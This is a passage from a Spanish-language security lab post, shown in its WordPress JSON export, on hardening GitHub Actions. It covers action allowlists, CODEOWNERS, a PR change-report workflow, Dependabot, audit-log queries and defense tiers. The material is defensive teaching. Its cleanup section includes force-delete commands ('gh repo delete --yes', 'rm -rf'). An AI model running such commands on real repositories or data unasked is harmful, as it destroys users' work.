aplicaci\u00f3n.<\/strong><\/p>\n<p>Crea <code>.github\/workflows\/check-actions.yml<\/code>:<\/p>\n<pre><code>name: Action Allowlist Check\non:\n  pull_request:\n    paths:\n      - '.github\/workflows\/**'\n      - 'allowed-actions.txt'\n\npermissions:\n  contents: read\n\njobs:\n  check-actions:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4\n\n      - name: Check actions against allowlist\n        run: .\/scripts\/check-actions.sh<\/code><\/pre>\n<p><strong>Paso 4: Probar la aplicaci\u00f3n.<\/strong><\/p>\n<p>Agrega una action no aprobada a un workflow en una rama y abre un PR:<\/p>\n<pre><code># In a new branch, add an unapproved action\ngit checkout -b test-unapproved-action\n\n# Add an unapproved action to ci.yml\n# e.g., uses: some-unknown\/action@v1\n\ngit add .github\/workflows\/ci.yml\ngit commit -m \"test: add unapproved action\"\ngit push origin test-unapproved-action\n# Open PR \u2192 the check-actions job will fail<\/code><\/pre>\n<p>La salida mostrar\u00e1:<\/p>\n<pre><code>Checking: .github\/workflows\/ci.yml\n  \u2713 actions\/checkout (approved)\n  \u2713 actions\/setup-node (approved)\n  \u2713 actions\/cache (approved)\n  \u2717 some-unknown\/action (NOT IN ALLOWLIST)\n\n================================================\nFAILED: Unapproved actions detected!\nTo approve a new action, add it to allowed-actions.txt and get security team review.<\/code><\/pre>\n<p>Configura esto como una verificaci\u00f3n de estado requerida en las reglas de protecci\u00f3n de rama para aplicar la lista de permitidas en todos los PRs.<\/p>\n<h2>Ejercicio 6: Monitoreo de Cambios en Actions<\/h2>\n<p>Incluso con listas de permitidas y fijaci\u00f3n, necesitas visibilidad sobre cu\u00e1ndo cambian los archivos de workflow. Este ejercicio configura mecanismos de monitoreo y alertas.<\/p>\n<h3>Paso 1: Configurar CODEOWNERS<\/h3>\n<p>Crea <code>.github\/CODEOWNERS<\/code> para requerir la revisi\u00f3n del equipo de seguridad para cambios en workflows:<\/p>\n<pre><code># Require security team review for all workflow changes\n.github\/workflows\/ @your-org\/security-team\n.github\/actions\/    @your-org\/security-team\nallowed-actions.txt @your-org\/security-team\n.github\/dependabot.yml @your-org\/security-team<\/code><\/pre>\n<p>Habilita la regla de protecci\u00f3n de rama \u00abRequire review from Code Owners\u00bb para aplicar esto.<\/p>\n<h3>Paso 2: Crear un Reportador de Cambios en Workflows<\/h3>\n<p>Crea un workflow que comente autom\u00e1ticamente en los PRs con un resumen de los cambios en actions:<\/p>\n<pre><code>name: Workflow Change Report\non:\n  pull_request:\n    paths:\n      - '.github\/workflows\/**'\n\npermissions:\n  contents: read\n  pull-requests: write\n\njobs:\n  report:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4\n        with:\n          fetch-depth: 0\n\n      - name: Generate action change report\n        id: report\n        run: |\n          BASE=${{ github.event.pull_request.base.sha }}\n          HEAD=${{ github.event.pull_request.head.sha }}\n\n          echo \"## Workflow Changes Report\" > \/tmp\/report.md\n          echo \"\" >> \/tmp\/report.md\n\n          # Find changed workflow files\n          CHANGED_FILES=$(git diff --name-only \"$BASE\"..\"$HEAD\" -- .github\/workflows\/)\n\n          if [[ -z \"$CHANGED_FILES\" ]]; then\n            echo \"No workflow files changed.\" >> \/tmp\/report.md\n            exit 0\n          fi\n\n          echo \"### Changed Files\" >> \/tmp\/report.md\n          for file in $CHANGED_FILES; do\n            echo \"- \\`$file\\`\" >> \/tmp\/report.md\n          done\n          echo \"\" >> \/tmp\/report.md\n\n          # Extract action changes\n          echo \"### Action Reference Changes\" >> \/tmp\/report.md\n          echo '```diff' >> \/tmp\/report.md\n          git diff \"$BASE\"..\"$HEAD\" -- .github\/workflows\/ | \\\n            grep -E '^[+-].*uses:' | \\\n            grep -v '^[+-]{3}' >> \/tmp\/report.md || true\n          echo '```' >> \/tmp\/report.md\n          echo \"\" >> \/tmp\/report.md\n          echo \"\u26a0\ufe0f **Security team review required for workflow changes.**\" >> \/tmp\/report.md\n\n      - name: Comment on PR\n        uses: actions\/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7\n        with:\n          script: |\n            const fs = require('fs');\n            const report = fs.readFileSync('\/tmp\/report.md', 'utf8');\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              body: report\n            });<\/code><\/pre>\n<h3>Paso 3: Aprovechar las Alertas de Seguridad de Dependabot<\/h3>\n<p>Dependabot se\u00f1ala autom\u00e1ticamente las vulnerabilidades conocidas en GitHub Actions. Aseg\u00farate de que est\u00e9 habilitado:<\/p>\n<ol>\n<li>Ve a <strong>Repository Settings \u2192 Code security and analysis<\/strong><\/li>\n<li>Habilita <strong>Dependabot alerts<\/strong><\/li>\n<li>Habilita <strong>Dependabot security updates<\/strong><\/li>\n<\/ol>\n<p>Cuando una action fijada tiene una vulnerabilidad conocida, Dependabot crear\u00e1 un PR de actualizaci\u00f3n de seguridad. Dado que est\u00e1s fijado a SHAs, el diff muestra claramente los hashes de commit antiguos y nuevos, facilitando la revisi\u00f3n de exactamente qu\u00e9 cambi\u00f3.<\/p>\n<h3>Paso 4: Monitoreo del Audit Log (GitHub Enterprise)<\/h3>\n<p>Para organizaciones que usan GitHub Enterprise, habilita la transmisi\u00f3n del audit log para detectar modificaciones en workflows:<\/p>\n<pre><code># Query the audit log for workflow file changes\ngh api orgs\/YOUR_ORG\/audit-log \\\n  --method GET \\\n  -f phrase='action:workflows' \\\n  -f per_page=50 \\\n  --jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'<\/code><\/pre>\n<h2>Construyendo una Estrategia de Defensa<\/h2>\n<p>No todas las organizaciones necesitan todos los controles. Aqu\u00ed tienes un enfoque por niveles basado en tus requisitos de seguridad:<\/p>\n<h3>Nivel 1: M\u00ednimo (Todas las Organizaciones)<\/h3>\n<ul>\n<li><strong>Fijar todas las actions a hashes SHA completos<\/strong> \u2014 previene ataques de mutaci\u00f3n de tags<\/li>\n<li><strong>Habilitar Dependabot para github-actions<\/strong> \u2014 automatiza las actualizaciones de SHA<\/li>\n<li><strong>Establecer permisos m\u00ednimos<\/strong> \u2014 usa <code>permissions:<\/code> a nivel de workflow y job<\/li>\n<\/ul>\n<p>Esfuerzo: Bajo. Impacto: Bloquea el vector de ataque m\u00e1s com\u00fan (tags mutables).<\/p>\n<h3>Nivel 2: Recomendado (La Mayor\u00eda de las Organizaciones)<\/h3>\n<p>Todo lo del Nivel 1, m\u00e1s:<\/p>\n<ul>\n<li><strong>Ejecutar actionlint y zizmor en CI<\/strong> \u2014 detecta vulnerabilidades de inyecci\u00f3n y errores de configuraci\u00f3n de seguridad antes de que se fusionen<\/li>\n<li><strong>Configurar CODEOWNERS para archivos de workflow<\/strong> \u2014 asegura que el equipo de seguridad revise todos los cambios en workflows<\/li>\n<li><strong>Habilitar reglas de protecci\u00f3n de rama<\/strong> \u2014 requiere verificaciones de estado y revisiones de propietarios de c\u00f3digo<\/li>\n<\/ul>\n<p>Esfuerzo: Medio. Impacto: Detecta vulnerabilidades durante el desarrollo y asegura la revisi\u00f3n.<\/p>\n<h3>Nivel 3: Alta Seguridad (Industrias Reguladas, Objetivos de Alto Valor)<\/h3>\n<p>Todo lo del Nivel 2, m\u00e1s:<\/p>\n<ul>\n<li><strong>Aplicar una lista de actions permitidas<\/strong> \u2014 solo se pueden usar actions pre-aprobadas<\/li>\n<li><strong>Auditor\u00eda de seguridad manual para cada nueva action<\/strong> \u2014 revisi\u00f3n completa del c\u00f3digo antes de agregar a la lista de permitidas<\/li>\n<li><strong>Hacer fork de actions cr\u00edticas internamente<\/strong> \u2014 mantener tus propias copias de actions esenciales para eliminar la dependencia externa<\/li>\n<li><strong>Reporte automatizado de cambios en workflows<\/strong> \u2014 comentarios en PRs resumiendo todos los cambios en actions<\/li>\n<li><strong>Monitoreo del audit log<\/strong> \u2014 alertas en tiempo real sobre modificaciones en workflows<\/li>\n<\/ul>\n<p>Esfuerzo: Alto. Impacto: Defensa integral contra ataques a la cadena de suministro a trav\u00e9s de Actions.<\/p>\n<h2>Limpieza<\/h2>\n<p>Despu\u00e9s de completar el laboratorio, limpia los recursos de prueba:<\/p>\n<pre><code># Remove the test repository if you created one\ngh repo delete actions-security-lab --yes\n\n# Remove cloned audit directories\nrm -rf \/tmp\/audit-checkout \/tmp\/audit-setup-node \/tmp\/audit-cache\n\n# Uninstall tools if no longer needed\n# brew uninstall actionlint\n# pip uninstall zizmor<\/code><\/pre>\n<p>Si usaste tu propio repositorio, revierte los workflows de prueba vulnerables:<\/p>\n<pre><code>git checkout main\ngit branch -D test-unapproved-action\nrm -f .github\/workflows\/greet-pr.yml<\/code><\/pre>\n<h2>Conclusiones Clave<\/h2>\n<ul>\n<li><strong>Las GitHub Actions de terceros son un riesgo para la cadena de suministro.<\/strong> Cada directiva <code>uses:<\/code> ejecuta c\u00f3digo externo en tu entorno de CI con acceso a tus secrets y tokens.<\/li>\n<li><strong>Los tags mutables son la causa ra\u00edz de la mayor\u00eda de los compromisos de actions.<\/strong> Fijar a hashes SHA completos elimina los ataques de mutaci\u00f3n de tags, el vector de explotaci\u00f3n m\u00e1s com\u00fan.<\/li>\n<li><strong>La inyecci\u00f3n de expresiones es la vulnerabilidad de workflow m\u00e1s prevalente.<\/strong> Nunca interpoles datos no confiables (t\u00edtulos de PR, nombres de rama, mensajes de commit) directamente en bloques <code>run:<\/code> \u2014 siempre usa variables de entorno.<\/li>\n<li><strong>El escaneo automatizado con actionlint y zizmor detecta lo que la revisi\u00f3n manual omite.<\/strong> Usa ambas herramientas en tu pipeline de CI \u2014 actionlint para correcci\u00f3n y seguridad b\u00e1sica, zizmor para an\u00e1lisis de seguridad profundo.<\/li>\n<li><strong>La defensa en profundidad es esencial.<\/strong> Ning\u00fan control individual es suficiente. Combina fijaci\u00f3n, escaneo, listas de permitidas, CODEOWNERS y monitoreo para una protecci\u00f3n integral.<\/li>\n<li><strong>Trata los archivos de workflow como c\u00f3digo de producci\u00f3n.<\/strong> Merecen los mismos procesos de revisi\u00f3n, prueba y gesti\u00f3n de cambios que el c\u00f3digo de tu aplicaci\u00f3n.<\/li>\n<\/ul>\n<h2>Pr\u00f3ximos Pasos<\/h2>\n<p>Contin\u00faa construyendo tu conocimiento en seguridad de CI\/CD con estas gu\u00edas relacionadas:<\/p>\n<ul>\n<li><a href=\"\/es\/ci-cd-security\/defensive-patterns-mitigations-ci-cd-pipeline-attacks\/\">Patrones Defensivos y Mitigaciones para Ataques a Pipelines de CI\/CD<\/a> \u2014 Aprende estrategias defensivas m\u00e1s amplias para proteger todo tu pipeline de CI\/CD m\u00e1s all\u00e1 de solo GitHub Actions.<\/li>\n<li><a href=\"\/es\/ci-cd-security\/ci-cd-execution-models-trust-assumptions-security-guide\/\">Modelos de Ejecuci\u00f3n de CI\/CD y Supuestos de Confianza<\/a> \u2014 Comprende los l\u00edmites de confianza y modelos de ejecuci\u00f3n que sustentan la seguridad de CI\/CD, y c\u00f3mo dise\u00f1ar pipelines con supuestos de seguridad primero.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Descripci\u00f3n General Las GitHub Actions de terceros son una de las funcionalidades m\u00e1s convenientes del ecosistema de GitHub. Con una simple directiva uses:, puedes incorporar l\u00f3gica de compilaci\u00f3n compleja, desplegar en proveedores cloud o ejecutar esc\u00e1neres de seguridad. Pero esa conveniencia conlleva una contrapartida cr\u00edtica: cada action de terceros ejecuta c\u00f3digo en tu entorno de &#8230; <a title=\"Lab: Detecci\u00f3n de GitHub Actions Maliciosas con Static Analysis\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis-2\/\" aria-label=\"Leer m\u00e1s sobre Lab: Detecci\u00f3n de GitHub Actions Maliciosas con Static Analysis\">Leer m\u00e1s<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,56,60],"tags":[],"post_folder":[],"class_list":["post-706","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-github-actions","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/706","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/comments?post=706"}],"version-history":[{"count":0,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/706\/revisions"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media?parent=706"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/categories?post=706"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/tags?post=706"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/post_folder?post=706"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}